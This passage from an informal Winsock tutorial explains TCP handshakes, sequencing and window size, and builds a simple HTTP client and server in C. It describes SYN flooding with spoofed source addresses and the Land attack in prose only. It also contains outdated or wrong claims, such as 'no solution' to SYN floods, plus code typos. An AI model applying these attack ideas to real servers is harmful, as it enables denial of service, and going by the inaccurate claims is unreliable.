the ' Syn ', etc. To store this information, the TCP IP stack has to allocate
some memory. When the TCP IP stack sends the client a 'Syn Ack ', it blocks a
connection for the client, and allocates some memory till he receives an ' Ack
' from the client. Until the server receives an ' Ack ' from the client, the
connection is known as a half-open connection. Allocating memory or
resources is an expensive process. The more the memory that the TCP IP stack
allocates for half-open connections, the lesser the memory it has for executing
other programs. Earlier on, the TCP IP stack would allocate only enough memory,
to store 8 half-open connections.When the TCP IP stack received an ' Ack ' it
would declare the connection to be no longer a half-open connection but a live
connection. In other words this is now an open connection.
Assume that a TCP IP stack can have 8 half open
connections. Suppose all the 8 half-open connections are occupied. When a 9th '
Syn ' packet arrives, the TCP IP stack would not be able to accommodate it. And
therefore this 9th ' Syn ' packet would be rejected. No one else would now be
able to connect to that machine. Obviously the stack is not like us, the kind
of people who patiently wait for hours at length for the next bus to arrive. If
an ' Ack' from the client does not arrive within a specified period of time,
the TCP IP stack terminates this half-open connection.
We could write a program, that will keep on sending a
forty byte header with the ' Syn ' flag on. Thus, we would be sending only the
' Syn ' packets without sending any ' Ack ' packets. We would thus occupy all
the eight half-open connections that were available on that TCP IP stack. We
also know that the TCP IP stack sets a predefined timer after which it will
terminate each of our half-open connections. Let's assume that we know that the
timer is set to sixty seconds. Since we know that our half-open connection will
be terminated after 60 seconds, will it not be possible for us to keep sending
' Syn ' packets every sixty seconds so that all the half-open connections are
always occupied by our ' Syn ' packets. This method, used to prevent other
clients from connecting to a server is known as ' Syn Flooding '.
Now some genius tried to design a method to prevent these
syn floodings. He created a method known as the ' fire wall ', by which,
he claimed that syn flooding could be prevented. This method works on a very
simple principle. The TCP IP stack never checks the IP address of clients,
while accepting or rejecting connections. Since it is possible for the TCP IP
stack to know the address of every client connecting to it, you just check the
client who keeps giving ' Syn's ' and not responding with the ' Ack '. The
fire wall is a computer which checks the IP addresses of incomming clients.
The person who designed the fire wall, merely placed it in front of the TCP IP
stack. The ' fire wall ' is then given the IP address of that client and
whenever that client tries to connect to the server it would promptly drop the
packet. But if the client keeps changing the Source IP address randomly - as
the IP address can go upto 4 billion - the ' Syn Acks ' would go to the wrong
machine. Thus by sending different and wrong IP addresses, one can easily
bypass the fire wall. Hence, at present, there is no solution for ' Syn
flooding .
Land Attack..
The name though it sounds as if there is a war going on,
but it is not so. Land attack is just a name given to a method designed by Mr.
Land to give some more headache to the servers. He simply passes both the
source and destination IP address, with the same address as that of the server.
In this case the server is sending itself a ' Syn Ack '. When the poor guy
tries to send a ' Ack ' to himself for a ' Syn ' which he has not sent, he
invariably hangs.
Reliability..
Now the Internet Protocol in itself is unreliable. This
is because there is nothing in IP which tells us whether the packet you have
sent has reached or not. There is no mechanism in IP which will tell you
whether the packet has reached the destination safely and in order. It does not
mean that IP does not send the packets across correctly, it is just that there
is no guarantee that the packet will reach. Lets take the example of the
Postal Service in India. Suppose you want to send a letter to Tiruvananthapuram
by ordinary mail. Now it is not that the mail is always lost, the Postal
Department does sometime deliver the letter but there is no guarantee that it
will reach the place. It may reach Tiruvananthapuram but then again it may not
reach on time. It is also possible that if you send two letters one after
another, the second letter may reach first. There is no way in which the Postal
Department will come back to you and say that the mail has not reached, or that
it has reached late or that the second letter has reached first. So also is the
case with the IP Protocol. There is no way by which it comes back and tells you
that the packet you had sent has reached or not.
Because of this we can never be comfortable with only the
IP protocols. If we want to make additions to the rules of the IP protocol in
such a way that IP would come back and inform us whether the packet has reached
or not, it will make the IP protocol very complex.
Now the IP protocol deals exclusively with the routers.
It's IP's job is to make sure your packet goes from one end to the other in the
shortest possible time. IP is the one who informs the router about the location
of it's destination, it's source and other such details. The IP protocols
primary concern is speed. It has to try and get to the destination as fast as
possible and it cares about nothing else. The IP protocol has sacrificed
reliability for speed and it shows. So why not allow it to do the job it knows
best ? i.e. routing.
If the Internet was to rely exclusively on IP, the result
would be absolutely chaotic. It was to combat this problem of unreliability,
that the TCP protocol was established. The TCP protocol is the exact opposite
of the IP protocol. It's primary concern is reliability. It is the TCP protocol
that takes care of checksums and sequencing. To send a packet on the net it is
possible that your packet may be broken into two or more packets - depending on
the size of your packet. Now each packet may reach the destination port at
different times and in different order. Is it not necessary that the packets
are received in the order they are sent ? Otherwise the packet may reach the
party in a haphazard manner, whereby the message transmitted is completely
illogical and garbled. It is the job of the TCP Protocol to make sure that
every packet reaches the destination and is put together in the correct order.
Sequencing...
Let us now see how we can send data across from a client
to a server. When data is sent across to the server, the Sequence number
and Acknowledgement number are very important. The client informs the
server about it's Sequence number . This number has been generated randomly
by the TCP IP stack. Our TCP IP stack will start numbering the data to be sent
across to the server from this number. We can explain the concept of a Sequence
number and an Acknowledgement number in a better manner with the help of
the following example. Suppose we are sending the data which is shown below.
A B C D E F G H I J K L
2 3 4 5 6 7 8 9 10 11 12 13
Let's assume that we have agreed with the server on the
Sequence number 2. Therefore, our data has been numbered from 2 onwards.
Assume we are sending 3 bytes of data at a time along with the TCP IP header.
Thus, the server will receive a packet of 43 bytes. In this packet, the number
in the Acknowledgement field has no meaning.
IP header 20 bytes |
TCP header 20 bytes |
ABC 3 bytes |
The minute the server receives the packet he responds
with an ' Ack '. This ' Ack ' is of 40 bytes and has it's ' Ack ' flag on. When
the ' Ack ' flag is on it means that now the Acknowledgement field is
valid.
The server looks at the size of the packet and finds out
that we have sent him three bytes of data. He knows that we have sent him data
bytes A, B and C which are numbered as 2, 3 and 4. He will take the last byte
number i.e. 4 and add 1 to it, to obtain the number 5. The server will place
this number as the Acknowledgement number in the ' Ack ' he sends us to
inform us that he has received our packet.
When we receive the servers ' Ack ', we look at his
Acknowledgement number which is 5. We now know that we have to start sending
data from byte number 5 onwards. So we place 5 as the Sequence number of
the next packet we are going to send him. Along with this packet, we send three
more bytes of data to the server. As our Sequence number is now 5 the
server will now receive D, E and F which are numbered as 5, 6 and 7, as it's
next packet. The server will take the last byte number of this packet, i.e. 7
add 1 to it and respond with an Acknowledgement number 8. On receiving this
' Ack ' packet sent by the server, we now know that we have to send data bytes
from 8 onwards. If we do not receive an ' Ack ' for any packet we sent, we have
to retransmit that packet after a certain amount of time.
It is a fact, that the server is wasting time by
responding with forty bytes of ' Ack ' every time we send a packet of three
bytes. Instead of the server sending us an ' Ack ' for every packet it
received, it may decide to send us an ' Ack ' after receiving two packets. We
are now sending the server two packets one after another, before it responds
back with a ' Ack '. Looking at our above example, the server may send us an '
Ack ' with the Acknowledgement number 8 instead of 5 the first time. This means
that the server has received the bytes numbered 2 to 7 and wants us to send him
the next packet from the 8th byte onwards. This is to shows that ' Acks ' can
be bunched together.
It is possible that when we send two packets one after another,
the second packet may reach first. But, since our data has been sequentially
numbered, the server will arrange our data in the correct order.
TCP is a decent protocol. It is not ill-behaved, unlike
other protocols which we shall talk about later. The moment the client receives
an ' Ack ' it means that the server has received a packet and responded with an
' Ack ' . We - the client - have to first calculate the total round time i.e.
the time from the moment we send a packet to the time we receive an 'Ack' from
the server. Suppose we send a packet to the server and we receive an ' Ack ', 1
second later. We now know that the transmission time, one way, is 1/2 a second.
After we keep sending packets for 15 minutes, at intervals of 1 second, we may
suddenly realise that the server is now responding with the ' Ack ' every 2
seconds. This shows that there is now congestion on the line. So if we receive
an ' Ack ' late, we also would be sending our packets late.
Let's assume another case where we are sending a packet
to the server. We cant wait indefinitely for the server to respond with an '
Ack '. This may be due to the reason that our packet has not reached the
server. It may also be due to the reason that the server may have sent an ' Ack
' but the ' Ack ' did not reach us.
Because of this we have to set a retransmission timer
which will inform us that it is time to retransmit a packet. It is possible
that we may set the retransmission time too high and we may receive the ' Acks
' at a faster rate. For example, suppose we set our retransmission time to be 5
seconds and the server responds with an ' Ack ' within 2 seconds. Then we are
wasting 3 seconds needlessly. Hence we have to dynamically reset our timer to 2
seconds.
If we set the timer for a short retransmission time, it
is possible that we may receive an ' Ack ' after we have retransmitted the
packet. For example, if we set our retransmission time to 1 seconds and the
server responds with an ' Ack ' after 2 seconds. Then we are retransmitting the
first packet without waiting for a reasonable time for the ' Ack ' to reach us.
Hence we have to reset our timer to 2 seconds. Even if the server received our
duplicate packet it is intelligent enough to drop it.
If this was the way the TCP worked, then it would make
the whole process of transmission too slow and be more of a liability than an
asset to the network. Slow, because the server would have to wait for an ' Ack
' from the client every time it sent some packets. To guard against the
slowness of the protocol there is something in TCP known as the window size -
which incidentally we had said would be explain later. Well, the time has come
when we feel that you should know what a window size means. So lets now learn
about the ' window size '.
Let us talk about a case where we are receiving data from
a server. The server sets a limit to the number of bytes of data it can send
us, without receiving an ' Ack ' from us. This maximum limit is known as the
window size. It is not a constant figure, but may vary due to a number of
factors like congestion, etc.
Suppose the window size of the packet comming to us from
the server is specified as 4 , 0 . The server will keep sending us data
upto, 4 * 256 + 0 * 1, i.e.1024 bytes before it demands we send it an ' Ack '.
The sever knows that he can keeping sending us data, he will not send us the
1025th byte until we send him an ' Ack '. This increases the rate of flow of
data.
Continuing with our client program..
Now don't you think that we have deviated from the main
program for quite some time? Lets go back to our main program and continue
from where we had left off.
#include <windows.h>
#include <stdio.h>
WSADATA ws;
int d;
char aa[1000];
struct sockaddr_in a;
SOCKET s;
int ii;
void abc(char *p)
{
FILE *fp = fopen("c:\\b.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
d = WSAStartup(0x101,&ws);
sprintf(aa," WSASTARTUP = %d",d);
abc(aa);
s = socket(AF_INET,SOCK_STREAM,0);
sprintf(aa," SOCKET = %d",s);
abc(aa);
a.sin_family = AF_INET;
a.sin_port = htons(80);
a.sin_addr.s_addr = inet_addr("202.54.1.18");
d = connect(s, (struct sockaddr *)&a, sizeof( a));
strcpy(aa,"GET / \r\n");
send(s,aa,sizeof(aa),0);
ii = 1;
while (ii != 0)
{
ii = recv(s,aa,1000,0);
abc(aa);
}
}
Now in this program we have added some extra lines of
code. There are now three more functions included in the program. We do not
have to explain to you what the function ' strcpy() ' means (Thank God) as it
is C programming. It's the second and third functions which warrants
explanation. The second function ' send() ' takes four parameters. The first
parameter ' s ' has been defined as a global variable that looks like ' SOCKET
'. Now s know that we are using the TCP/IP protocols. It also knows the IP
address as well as the port number of the server - we are trying to connect to.
The second parameter is the array in which we have stored the name of the file
we want to obtain from that server. Here ' GET / ' means that we are asking our
browser to get a default file from the server. You have to understand that when
we say " GET " , it is a request to the server which it - the server
- recognises. The third parameter is the size of the array which we want to
send. The last parameter is ' 0 '. We have got a rule which says that. any
parameter to a function which is assigned the value as ' 0 ' is not meant to be
explained so with reference to that rule this parameter will not be explained
by us.
Lets understand that whenever we send a request to a
server on the Internet, we have to receive something from it. How do we go
about receiving something from the server? This reception is possible through a
function ' recv() '. This function is a blocking function. By blocking
function, we mean that the function prevents the program from doing anything
else, until the function has performed it's task completely. This function
returns the number of bytes it has received from the server. This function
recv() has to be passed four parameters. The first parameter is the variable
' s ' which knows the IP address of the server etc. The second parameter is an
array. The contents of our requested file are read into this array. The third
parameter specifies the number of bytes, upto which it can receive data from
the server. By this, we mean that if the server sends us 500 bytes, we can
receive them. But the maximum number of bytes we can receive is 1000 only. By
specifying this parameter as 1000, it does not mean that we are demanding that
the server is to send us 1000 bytes only. There is no way we can make such a
demand. By passing this parameter as 1000, we are merely saying that we can, at
one time, receive not more than 1000 bytes. The last variable again is ' 0 '
and hence unexplained.
In this program, if we had just written the ' recv() '
function as it is, what will it do if the file to be received from the server
is larger than 1000 bytes ? We would only get the first 1000 bytes copied in
our " b.txt " file. Now to ensure that we get the entire file, we
have to put the recv() function into a while loop, to read the entire
text and store it into the file "b.txt". Now how do we get out of the
while loop? This is a problem which is solved for us by the server. When
the server has finished sending the file, he sends this function a reset. When
he sends this reset, one of the flags gets activated. This flag is known as the
RST flag. So when our TCP IP stack receives a packet of forty bytes with
the RST flag on , it will make sure that the recv() function returns a 0,
thus coming out of the while loop.
Now run the program and take a look at our
"b.txt" file. It would now look as below.
WSASTARTUP = 0
SOCKET = 3
What is this? There is no change in the output in the
" b.txt " file present in our root directory. What is the use of
these lines of code and the explanations given by us, if our Browser cannot get
us a default file from the server we connected to? Well this is a good
question. But then we got a bit excited as we were nearing the completion of
our Browser that we executed the program without writing the HTTP part of the
header to be sent along with the " GET / " request to the server. So
lets include this HTTP header in our program which will now look as under.
#include <windows.h>
#include <stdio.h>
WSADATA ws;
int d;
char aa[1000];
struct sockaddr_in a;
SOCKET s;
int ii;
void abc(char *p)
{
FILE *fp = fopen("c:\\b.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
d = WSAStartup(0x101,&ws);
sprintf(aa," WSASTARTUP = %d",d);
abc(aa);
s = socket(AF_INET,SOCK_STREAM,0);
sprintf(aa," SOCKET = %d",s);
abc(aa);
a.sin_family = AF_INET;
a.sin_port = htons(80);
a.sin_addr.s_addr = inet_addr("202.54.1.18");
d = connect(s, (struct sockaddr *)&a, sizeof( a));
strcpy(aa,"GET / \r\n");
strcat(aa,"HTTP 1.0 \r\n\r\n");
send(s,aa,sizeof(aa),0);
ii = 1;
while (ii != 0)
{
ii = recv(s,aa,1000,0);
abc(aa);
}
}
Lets understand how we can send a request to a server
for an HTTP file. We request an HTTP file by sending "GET /" and
"HTTP 1.0 \r\n\r\n" as part of our HTTP header. Whenever we send the
HTTP header, we also have to specify the version number of HTTP which we have
specified as ' 1.0 '. For your information, there is a previous version 0.9
and a newer version 1.1 . This is the bare minimum requirement of the header
which can be understood and accepted by the server. You may be wondering what
these ' \r\n\r\n ' mean? Well don't you have to tell the server that you have
completed the transmission and that no more bytes are going to be transmitted
as part of the header ? The '\r\n\r\n' does this very thing i.e. tell the
server that the transmission is complete. Why do we have to specify ' \r\n '
twice ? The first ' \r\n ' is to tell the server that the command line is over,
while the second ' \r\n ' is to tell the server that the header is now
complete. When you run this beautiful program which we wrote, you will see that
it has stretched it's arm wide across the Internet and fetched us the default
file from the server we connected to. We can now read the contents of that file
in the " b.txt" file.
How do we know that the file we have received is an HTTP
file? We know that it is an HTTP file for the simple reason that we have
connected to port 80, which is an HTTP port. We are also sending "GET
/" as the header. All these make up a protocol. This protocol is known as
the Hyper Text Transfer Protocol.
If you know the name of the file you want, just specify
it's name in the request part of the header i.e. " GET /(filename) "
and this will get you that particular file from the server. It is only when we
do not know the name of the file we say GET / . This will get us the default
file. The problem with servers is that though they all have a default file,
they could not decide on the name to be used for the default file. One of the server
may call it's default file as "index.html" while another server may
call it as "default.html". Now when we are connecting to a server, we
do not know the name of it's default file. Hence we have to say GET / . We
cannot write only GET , otherwise, it will give us an error.
When we use the Netscape Navigator to connect to
Microsofts site, we write "www.microsoft.com". All that Netscape
does, is convert this name into an IP address. It now uses the same code that
we used, to connect to this server. There is no other way it can connect. After
it connects to the server, it sends a GET / request. The Microsoft server
responds by sending its default HTTP file. Netscape then reads this HTML file,
and if it sees a tag which say <b>, it makes that particular text bold.
When Netscape sees a tag called img , it knows that after the img there
is always an src . Let's suppose this src will specifies the name of the
"gif" file as "a1.gif". The Netscape Browser then makes a
fresh connection to Microsoft and gets this "a1.gif " file. This
means that other than this minor difference, Netscape is nothing but a Desk Top
Publisher which gives your browser a colourful user-interface. That is the
reason we do not think of Netscape as an Internet company. According to us, an
Internet company is a company which knows Internet technologies. Otherwise, as
we have written the code for getting a file from the server, we could also call
ourselves an Internet company.
Well how do you like our Browser ? Don't you find it
fascinating ? This browser also helps you to download from any site which your
parents forbid you to visit. The best thing about this browser is that it
stores the contents in " b.txt " file only. So, whenever you want to
view this file you can view it, and whenever you are tired from viewing it you
can delete this file and your parents are none the wiser to your shenanigans.
" HTTP SERVER "
Now that youve got a taste of Winsock programming with
the creation of your own Internet Browser, we can bet that you are licking your
lips in anticipation of more challenging things to come. Our work is obviously
not complete with just helping you create a Browser. We decided that the next
step will be to help you create a server. Can you imagine a server, on the
Internet, and it being our very own ? We know that it is a bit more intriguing
and difficult to understand as compared to the Browser, but we know that you
will be able to understand the concept better if you follow our instructions -
to a T -and follow our programs carefully and meticulously, without any fuss or
skipping any programs. Well what are you waiting for ? Jump in head first and
learn how to create your own server on the Internet.
Our initial programs will not differ much from the client
program in respect of the starting code. In fact in many places you will find
that the code is more or less similar to what we used while creating our
Browser. So lets plunge into the creation of our server.
Learning ' C ' Windows Programming..
For our first program we shall go back to our
basics and refresh our memories on how to write the smallest ' C ' Windows
Program (bet you forgot how to write this program).
#include <windows.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if (x = = WM_LBUTTONDOWN)
{
MessageBox(0,"Hi","Hi",0);
}
if (x= = WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
Well friends, let me tell you from experience that this
is the most difficult part of the server program, and we shall not guide you
through the entire process of creating the window. Now, does this not help
bring back memories of sleepless nights and some terrible nightmares you had to
endure before you finally succeeded in creating the window. Now don't expect us
to tell you that the output of the above program is a MessageBox with the
message "Hi" displayed in it, the moment you click on the window.
This was our first step towards the creation of our
server. You know that we had included the "wsock32.lib" file while
creating the Browser. In this program also, the file "wsock32.lib" is
supposed to be included in your project workspace before you try to proceed
further with the program. With this bit of information as a reminder, let us
proceed with adding a few new lines of code to our program.
#include <windows.h>
#include <stdio.h>
WSADATA ws;
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
SOCKET s;
struct sockaddr_in A;
void abc(char *p)
{
FILE *fp = fopen("c:\\bbb.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if (x = = WM_LBUTTONDOWN)
{
d = WSAStartup(0x101,&ws);
sprintf(aa,"%d",d);
abc(aa);
s = socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"%d",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
MessageBox(0,"Hi","Hi",0);
}
if (x= = WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
What do you infer when you see this program? You may be
wondering about the similarity with the code of the Browser. Well, we had
warned you that the initial programs would be similar to that of a Browser. You
know what these lines of code represent. They are the same as in the case of
the Browser. For those of you who missed all the fun we had, while creating the
Browser, we are giving a brief explanation as to what these lines of code mean.
The rest of you are free to move on to the next program directly skipping this
re-explanation.
Now like any good Winsock program, our program also has
to include the file "wsock32.lib". If we do not include this file,
the linker will get very upset and extract revenge by giving us umpteen number
of errors. This is due to the reason that the code of WSAStartup() function
is present in this library file, i.e "wsock32.lib". So do what you
want to do, but for heavens sake include this file in your workspace. Now what
does the WSAStartup() function do ? To tell you the truth even we - the
acknowledged masters of Winsock Programming ( by ourselves, of course, and now
by you ) - do not know what it actually does. Just take our word and add this
function as part of your programming code, because we know for a fact, that
nothing else in the program will work if this function is not present. This
function has to be passed two parameters. The first being a version number -
the Windows sockets version number - which in our case is 1.1. The second
parameter is the address of a structure which we have created, and which looks
like WSADATA - what it does with the address of the structure is anybody's
guess.
Now to explain the other function viz. socket() . This
function is passed three parameters viz. ' AF_INET ' & ' SOCK_STREAM ' and
0 . The first two parameters are hash(#) defined in the header file
<winsock.h>. There is no use trying to explain the third parameter 0
as we think that it will take ages for you to understand and in all
probability, we know that you will not understand. If you got jumbled up with
the above explanation of the parameter 0 , it's not our fault. So let's
forgive and forget. Forgive us for not explaining it and forget this
explanation(but pass the parameter as part of syntax). The other three lines of
code are mere initialisation of some of the members of our structure A that
looks like sockaddr_in . For starters we are initialising a member
A.sin_family to the IP protocol AF_INET , secondly we are initialising
A.sin_port to the port number we want our server to listen on, i.e. the HTTP
port 80 . We are passing the port number in a function htons() - as it's
parameter - which converts " Little Endians " to " Big Endian
". Lastly, we are initialising the member A.sin_addr.s_addr to a Macro
viz. INADDR_ANY . Now this Macro is used so that, a client, having any IP
address, and wanting to connect on to our server - God alone knows why - should
be allowed to do so.
You have to understand, that when you execute the
program, the server will not get activated all by himself. You have to first
activate the server by clicking on the window with the left mouse button. Now
when you execute the program you will see an output in file "bbb.txt"
which appears as shown below.
WSASTARTUP = 0
SOCKET = 3
So far so good. To those of you who understood the steps involved
in the creation of the Browser, these explanations must have been boring, and
by now many of you may have even started yawning. Well friends, Wakey! Wakey!
We are now starting to make life a bit more complicated.
New lines of code have been added as shown in the program
written below.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s;
struct sockaddr_in A;
void abc(char *p)
{
FILE *fp=fopen("c:\\bbb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b= CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x = = WM_LBUTTONDOWN)
{
d = WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s = socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family = AF_INET;
A.sin_port = htons(80);
A.sin_addr.s_addr = INADDR_ANY;
d = bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
MessageBox(0,"first Message","first Box",0);
}
if (x = = WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
In this program we have passed a new function bind() .
The function bind() is passed three parameters. The first parameter is the
variable s which knows the protocols used by the server. The second
parameter is the address of the structure A which looks like sockaddr_in
. Unfortunately, this function requires the address of a structure which looks
like sockaddr. Now we dont want to argue with syntax, so we dutifully cast
this structure to look like sockaddr. The last parameter is the size of the
structure A which looks like sockaddr_in. After this function gets
executed the variable s would not only know the protocol used by the server,
but also it's IP address and the port number. You may have noticed that the
parameters of this function are similar to that of the connect() function of
the Browser. The function bind() , is used to tie up the socket - along with
the server - to a port. This port has been specified as 80 i.e. the HTTP port.,
in our program. This means that this function bind() , tells the TCP/IP
stack that whenever it receives a packet with the ' Syn' flag on , with the
port number as 80 and any IP address, then the packet should be directed to our
server, i.e. the HTTP server. So now, whenever any client wants to contact a
server with our IP address for any file, he will get directed to our HTTP
server. Using this function we are not asking the TCP/IP stack to send
the packet to us right now. We are merely saying that if it receives a packet
for our server, it is to be sent to us. The part where we specify as to when
the packet is to be sent to us, is explained later.
Let's not get jumbled up with the output in the
"bbb.txt" file. First delete the existing file and then execute the
program. In future also, delete the existing "bbb.txt" file before
executing the program.
If you can successfully pester a friend to connect to
your server, you will be able to see the output of your program so far, saved
in the "bbb.txt" file. Lets now take a look at the output in our
"bbb.txt" file. The output is as below.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
Now lets continue with our code.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s;
struct sockaddr_in A;
void abc(char *p)
{
FILE *fp=fopen("c:\\bbb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x= =WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
MessageBox(0,"first Message","first Box",0);
}
if (x= = WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
Wow ! Talk about long words. Here we have a very loooong
function name viz. WSAAsyncSelect() . Impressive to say the least. Why do we
need such a long function name and what does this long function do? Well , we
did not design Sockets Programming and we did not give this function it's
name. Hence we are unable to explain the concept behind giving this function so
big a name. Let's move on to the " what " part of the question. What
does this function do? Well, human beings are highly unpredictable. There is no
saying when they may get the urge to connect to our server. So whenever a
client connects to our server, we should be present to receive his connection.
We should not use the function recv() here, because we know that recv()
function is blocking. The program is not allowed to perform any other task
until the execution of the recv() function is over. So we use this function
i.e. WSAAsyncSelect() along with recv() , as this function ensures that
we use the function recv() only when there is data to be received by the
server from the client. This function first looks at the last parameter
FD_ACCEPT. Once it sees this Macro, it merely tells the TCP/IP stack that
whenever it receives a packet with the ' Syn ' flag on, for our window(server)
at it's port number, it should send a message immediately to our server. If
this parameter FD_ACCEPT is not present in the code, then the TCP/IP stack will
reject the incoming connection outright.
This function WSAAsyncSelect() is an extra function
added into the Windows version of Socket Programming . There is no such
function in the original version of Sockets Programming . This was because
Sockets Programming was originally written under UNIX. In the UNIX Operating
System, there is a way, by means of which the application could be given a
signal, that there was some data waiting for it. Windows is a different
Operating System. Windows has a Graphical Interface. When we have to
communicate with our server, the communication has to be done through our
window. For this, the TCP/IP stack needs to know our window number. In the
original version of Sockets Programming under UNIX, there was no function
by means of which, we could let the TCP/IP stack know our window number.
Because of this reason Microsoft was forced to add this function to it's
version of Sockets Programming .
You may start wondering how the TCP IP stack would come
to know the IP address , port number, etc. of our server or how the stack would
know which window is to be sent the message. Let's see how we can pass on this
information to the TCP IP stack.
This function WSAAsyncSelect() , is passed four
parameters. The first parameter is s which knows the protocol that the
server is using, it's port number, IP address, etc. The second parameter is our
window number. You will most probably wonder as to why should we specify our
window number as a parameter? Well, Windows TCP IP stack is dumb. It does not
know who we are. Can you imagine that? Hence we are forced to introduce
ourselves by specifying our window number. If we had not specified it, it would
have given us a linker error, asking us who we are. To avoid embarrassment all
around, we just specify our window number and forget about it. The third
parameter is a Macro. We know that whenever our window wants to pass some
information - as a server, he can do so through a Macro. The third parameter of
WSAAsyncSelect() is a Macro. This Macro is important enough to warrant an
explanation. In Windows there are a predefined set of Macros, which Microsoft
has reserved for it's own window messages, for example, the Macro
WM_LBUTTONDOWN. Each of these reserved Macros have been allotted their own
specific numbers by Microsoft and they let the window know which message is to
be called. The last of such numbers which are reserved by Microsoft for it's
window messages is one less than WM_USER . We could have passed
WM_LBUTTONDOWN as the third parameter to the WSAAsyncSelect() function, and
the window application would have recognised it. But then, we would have faced
a problem. How would our window(server) application know which message is to be
called i.e. the message we have specified in our program or one which has been
specifically allotted to WM_LBUTTONDOWN by Microsoft Windows? Because of this
problem, we cannot use any of the reserved numbers or Macros. We are forced to
choose a Macro which is a number greater than the reserved ones. Since we know
that Microsoft has reserved numbers upto the Macro WM_USER , we can choose
any number from WM_USER onwards. We opted for the number WM_USER+1 . Now
our window(server) will recognise this Macro. It means that whenever the server
is to be contacted, then our callback function zzz() is sent a WM_USER+1
message. The last parameter of the function WSAAsyncSelect() is
FD_ACCEPT | FD_READ . This parameter is used to ask the server whether he
wants to accept the incomming connection or read the message from this
connection. FD_ACCEPT and FD_READ are #defined in the file
<winsock.h>. FD_ACCEPT is used to tell the TCP/IP stack, whether the
server wants to accept the connection or not. FD_READ is used to read the
packet sent by the incoming connection to our server. This Macro will be
explained in greater detail later.
Now when you run your program you will see that there is
no change in the output.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
Now lets change our program as below and see as to how
we can trap WM_USER+1 .
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
WSADATA ws;
SOCKET s;
struct sockaddr_in A;
void abc(char *p)
{
FILE *fp=fopen("c:\\bbb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
